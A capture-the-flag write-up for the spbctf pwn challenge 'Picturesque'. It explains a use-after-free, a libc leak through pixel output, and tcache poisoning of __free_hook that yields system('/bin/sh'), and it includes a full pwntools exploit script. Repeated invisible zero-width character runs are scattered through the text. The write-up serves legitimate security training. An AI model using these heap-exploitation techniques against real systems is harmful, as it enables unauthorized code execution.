← Back to Writeups
CUSTOMMediumpwn

Picturesque

XESXOR9/2/20268 min read
#pwn#custom#medium#bit_granular_write#free_hook_overwrite#pixel_bit_leak#system_binsh#tcache_fd_poisoning#unsorted_bin_leak#linux

Picturesque

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-04 | Status: Solved Techniques: bit_granular_write, free_hook_overwrite, pixel_bit_leak, system_binsh, tcache_fd_poisoning, unsorted_bin_leak

Summary

Task: menu-driven picture gallery with struct+pixels heap allocations; UAF via dangling CURRENT_PICTURE pointer after burn. Solution: unsorted bin leak via pixel display, tcache fd poisoning to overwrite __free_hook with system, trigger via free("/bin/sh").

Picturesque — spbctf

Description

Enjoy the beauty of your very own picture gallery. Flag is in flag.txt. nc 109.233.56.90 11734

A menu-driven "picture gallery" application. The binary is an ELF x86-64 with PIE, Full RELRO, Canary, and NX enabled, linked against glibc 2.27 (Ubuntu 18.04). Source code (picturesque.c) is provided along with the libc and linker.

The program manages struct picture objects (name[16], width, height, pixels pointer — 32 bytes total, allocated in 0x30 chunks) and separately-allocated pixel buffers. The menu allows: buy canvas (malloc struct + pixels), approach picture (set CURRENT_PICTURE), draw shapes (write bits into CURRENT_PICTURE->pixels), admire (display pixel data as X/' ' characters), and burn (free pixels then struct, set PICTURES[i]=NULL). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Struct layout

c
struct picture {
    char name[16];   // offset 0
    int width;       // offset 16
    int height;      // offset 20
    char *pixels;    // offset 24
};
// sizeof = 32 bytes → malloc chunk size 0x30

Pixels are stored as a bitmap: each pixel is one bit, packed 8 per byte. The pixel buffer size is (width * height + 7) / 8.

Vulnerability: Use-After-Free

In burn_picture_down():

c
void burn_picture_down() {
    int i = select_picture();
    if (i >= 0) {
        free(PICTURES[i]->pixels);
        free(PICTURES[i]);
        PICTURES[i] = NULL;  // ← clears array entry
        // BUT: CURRENT_PICTURE is NOT cleared!
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

If the burned picture is the currently approached one, CURRENT_PICTURE becomes a dangling pointer to the freed struct. Subsequent draw and admire operations use this freed struct — reading stale fields (width, height, pixels pointer) and writing into the freed pixels buffer.

Critical insight: preserved fields after free

After freeing a 0x30 tcache chunk, glibc 2.27 only writes the fd pointer at offset 0 (overlapping name[0:8]). The width (offset 16), height (offset 20), and pixels pointer (offset 24) fields are preserved. So CURRENT->pixels still points to the freed pixels chunk, and draw can write arbitrary data there — including poisoning the tcache fd. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Pixel display as a leak primitive

admire_picture() reads each bit from CURRENT->pixels and prints X (bit=1) or space (bit=0). By decoding the visual output back to bytes, we can read arbitrary heap data through the dangling pointer — including main_arena pointers from unsorted bin chunks.

Bit-granular write primitive

picture_draw_rectangle() with a 1x1 rectangle sets or clears individual bits at pixels[byteIdx]. By iterating over all 8 bits of each byte, we can write arbitrary byte values to any offset within the pixels buffer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Phase 1 — Libc leak via unsorted bin

  1. Create 7 filler pictures with large pixels (w=50, h=30 → pixels chunk 0xd0) plus 1 target and 1 guard.
  2. Approach the target picture.
  3. Burn the 7 fillers to fill tcache[0xd0] (7 entries) and tcache[0x30] (7 struct entries).
  4. Burn the target → its pixels chunk goes to the unsorted bin (tcache full), struct to fastbin.
  5. CURRENT_PICTURE dangles at the freed struct. Its pixels field still points to the freed pixels chunk in the unsorted bin, whose fd/bk contain main_arena pointers.
  6. Call admire — it reads pixel bits from the unsorted bin chunk. Decode the pixel display back to bytes to recover the main_arena leak.
  7. Calculate: libc_base = leak - 0x3ebca0. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 2 — Tcache poisoning → __free_hook overwrite

  1. Buy picture A with w=32, h=8 → both struct (32 bytes) and pixels (32 bytes) are 0x30 chunks.
  2. Approach A, then burn A → CURRENT_PICTURE dangles at struct_A.
    • tcache[0x30]: struct_A → pixels_A → [old entries]
    • CURRENT->pixels = pixels_A (preserved), CURRENT->width=32, height=8
  3. Use draw on CURRENT to write __free_hook address into pixels_A at offset 0 (overwriting the tcache fd).
    • tcache[0x30]: struct_A → pixels_A → __free_hook
  4. Drain tcache[0x30] by buying pictures with non-0x30 pixel sizes:
    • Buy B (pixels 0x20): struct = struct_A (pop 1)
    • Buy C (pixels 0x20): struct = pixels_A (pop 2)
    • Buy D (pixels 0x20): struct = __free_hook (pop 3)
  5. D's buy_new_canvas writes the "name" at offset 0 of the struct (= __free_hook). Send p64(system) as the name → __free_hook = system. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 3 — Trigger shell

  1. Buy picture E (w=8, h=8). Approach E.
  2. Use draw to write /bin/sh\0 into E's pixels buffer (8 bytes, bit by bit via 1x1 rectangle draws).
  3. Burn E → free(E->pixels) → __free_hook(E->pixels) → system("/bin/sh").
  4. Read flag.txt from the shell.

Exploit script

python
#!/usr/bin/env python3
"""
Picturesque (spbctf) — heap UAF exploit, glibc 2.27.

Chain:
  1. Libc leak: fill tcache[0xd0], free 8th pixels → unsorted bin.
     CURRENT dangles, admire reads main_arena fd/bk from freed pixels.
  2. Tcache poison: after approach+burn A (0x30 struct+pixels), CURRENT dangles.
     Draw on CURRENT writes into freed pixels_A (tcache[0x30] entry).
     Overwrite pixels_A.fd = __free_hook. Then buy pictures to drain tcache
     until __free_hook is returned as a struct. Write system addr as name.
  3. Trigger: free a chunk containing "/bin/sh" → system("/bin/sh").
"""
import sys, re
from pwn import *
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.arch = 'amd64'
context.log_level = 'info'
libc = ELF('./libc.so.6', checksec=False)

REMOTE = ('109.233.56.90', 11734)
LOCAL  = ('127.0.0.1', 9999)

def conn():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        return remote(*REMOTE)
    return remote(*LOCAL)

# ---- menu helpers --------------------------------------------------------

def wait_menu(io):
    io.recvuntil(b'What do you want to do? ')

def buy(io, w, h, name):
    io.sendline(b'3')
    io.recvuntil(b'How wide should it be (1-50): ')
    io.sendline(str(w).encode())
    io.recvuntil(b'How tall should it be (1-30): ')
    io.sendline(str(h).encode())
    io.recvuntil(b'What would you like to call it: ')
    if isinstance(name, str):
        name = name.encode()
    io.sendline(name)
    wait_menu(io)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def approach(io, sel):
    io.sendline(b'5')
    io.recvuntil(b'Which one? ')
    s = str(sel).encode() if isinstance(sel, (int, str)) else sel
    io.sendline(s)
    wait_menu(io)

def burn(io, sel):
    io.sendline(b'4')
    io.recvuntil(b'Which one? ')
    s = str(sel).encode() if isinstance(sel, (int, str)) else sel
    io.sendline(s)
    io.recvuntil(b'\xf0\x9f\x92\xa8')  # 💨
    io.recvline()
    wait_menu(io)

def admire_raw(io):
    io.sendline(b'2')
    data = io.recvuntil(b'What do you want to do? ')
    return data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def draw_rect(io, x0, y0, x1, y1, color):
    io.sendline(b'1')
    io.recvuntil(b'What to draw? ')
    io.sendline(b'1')
    io.recvuntil(b'x0 y0 x1 y1: ')
    io.sendline(f'{x0} {y0} {x1} {y1}'.encode())
    io.recvuntil(b'Specify color (0/1): ')
    io.sendline(str(color).encode())
    wait_menu(io)

# ---- pixel decode --------------------------------------------------------

def decode_pixels(raw_output, width, height):
    lines = raw_output.split(b'\n')
    rows = []
    for ln in lines:
        if b'> ' in ln and b' <' in ln:
            start = ln.index(b'> ') + 2
            end = ln.rindex(b' <')
            rows.append(ln[start:end])
    bits = []
    for y in range(min(height, len(rows))):
        row = rows[y]
        for x in range(width):
            bits.append(1 if (x < len(row) and row[x:x+1] == b'X') else 0)
    data = bytearray()
    for i in range(0, (len(bits) // 8) * 8, 8):
        b = 0
        for k in range(8):
            b |= bits[i + k] << k
        data.append(b)
    return bytes(data)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ---- bit-level write via draw --------------------------------------------

def write_byte_at(io, off, value, width):
    """Write byte at offset `off` in CURRENT->pixels."""
    for k in range(8):
        pix_idx = off * 8 + k
        x = pix_idx % width
        y = pix_idx // width
        bit = (value >> k) & 1
        draw_rect(io, x, y, x, y, bit)

def write_qword_at(io, off, value, width):
    for i in range(8):
        write_byte_at(io, off + i, (value >> (8 * i)) & 0xff, width)

# ==========================================================================
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def exploit():
    io = conn()
    wait_menu(io)

    # ===== Phase 1: Libc leak =====
    log.info("Phase 1: Libc leak via unsorted bin")

    for i in range(7):
        buy(io, 50, 30, f'F{i}')
    buy(io, 50, 30, 'T')
    buy(io, 10, 10, 'G')  # guard against top-chunk consolidation

    approach(io, 'T')

    for i in range(7):
        burn(io, f'F{i}')

    burn(io, 'T')
    # CURRENT = T.struct (dangling). CURRENT->pixels = T.pixels (in unsorted bin).

    raw = admire_raw(io)
    pixel_data = decode_pixels(raw, 50, 30)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    leak_fd = u64(pixel_data[0:8])
    log.info("Leaked fd = %#x", leak_fd)

    for off in [0x3ebca0, 0x3ebc98, 0x3ebcb0, 0x3ebc78, 0x3ebd60, 0x3ebd58]:
        cand = leak_fd - off
        if (cand & 0xfff) == 0 and 0x500000000000 <= cand <= 0x7fffffffffff:
            libc.address = cand
            log.success("libc base = %#x (offset %#x)", cand, off)
            break

    free_hook = libc.sym['__free_hook']
    system_addr = libc.sym['system']

    burn(io, 'G')

    # ===== Phase 2: Tcache poison =====
    log.info("Phase 2: Tcache poisoning")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    buy(io, 32, 8, 'A')  # struct 0x30, pixels 0x30
    approach(io, 'A')
    burn(io, 'A')
    # tcache[0x30]: struct_A → pixels_A → [old entries]

    write_qword_at(io, 0, free_hook, 32)
    # tcache[0x30]: struct_A → pixels_A → __free_hook

    buy(io, 1, 1, 'B')    # struct = struct_A
    buy(io, 1, 1, 'C2')   # struct = pixels_A
    # Buy D: struct = __free_hook, name = system_addr
    io.sendline(b'3')
    io.recvuntil(b'How wide should it be (1-50): ')
    io.sendline(b'1')
    io.recvuntil(b'How tall should it be (1-30): ')
    io.sendline(b'1')
    io.recvuntil(b'What would you like to call it: ')
    io.send(p64(system_addr) + b'\n')
    wait_menu(io)
    log.success("__free_hook overwritten with system!")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # ===== Phase 3: Trigger =====
    buy(io, 8, 8, 'E')
    approach(io, 'E')

    binsh = b'/bin/sh\x00'
    for i, byte_val in enumerate(binsh):
        write_byte_at(io, i, byte_val, 8)

    # Burn E → free(E->pixels) → system("/bin/sh")
    io.sendline(b'4')
    io.recvuntil(b'Which one? ')
    io.sendline(b'E')

    sleep(2)
    io.sendline(b'cat flag.txt')
    io.interactive()

if __name__ == '__main__':
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍